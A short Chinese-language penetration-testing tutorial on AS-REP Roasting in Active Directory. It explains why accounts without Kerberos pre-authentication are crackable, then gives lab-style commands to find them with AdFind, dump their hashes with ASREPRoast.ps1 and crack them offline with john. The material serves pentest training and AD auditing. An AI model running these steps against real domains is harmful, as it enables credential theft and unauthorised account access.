针对一个域内用户,其账户选项有个设置叫作 “不要求 kerberos 预身份验证”,它默认是关闭的。
当 “不要求 kerberos 预身份验证” 选项被勾选,会出现以下效果:
-
as-req 报文中不需要添加用户 hash 加密的时间戳,自动返回 as-rep 报文。
-
如果用户能使用用户 hash 解密 as-rep 报文中的 Logon Session Key ,那么代表用户凭据正确。
as-req Roasting攻击的原理就是当我们收到 as-rep 报文后,我们使用密码字典生成多个 hash 来解密 Logon Session Key ,如果成功则爆破出密码。
查询 “不要求 kerberos 预身份验证” 的域用户
工具:adfind
在域外: adfind -h [dc_ip:dc_port] -u [domain_name\user_name] -up [password] -f "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" -dn [dc_ip:dc_port]:表示域控ip和端口号 [username\domain_name]:表示用户及所在的域 [password]:表示用户的密码 -f:过滤条件为useraccountcontrol:1.2.840.113556.1.4.803:=4194304 -dn:表示显示结果属性为dn
AdFind -h 192.168.72.163:389 -u hacker.com\administrator -up p-0p-0p-0p -f "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" -dn
向 “不要求 kerberos 预身份验证” 的域用户发起 as-req 请求
工具:ASREPRoast.ps1,项目地址:ASREPRoast/ASREPRoast.ps1 at master · HarmJ0y/ASREPRoast · GitHub
Import-Module .\ASREPRoast.ps1 Get-ASREPHash -UserName [username] -Domain [domain_name] -Server [dc_ip] | Out-File -Encoding ASCII hash.txt
Import-Module .\ASREPRoast.ps1 Get-ASREPHash -UserName administrator -Domain hacker.com -Server 192.168.72.163 | Out-File -Encoding ASCII hash.txt
离线爆破
工具:john
john --wordlist=[passwords_file] hash.txt
john --wordlist=/tmp/password.txt /tmp/hash.txt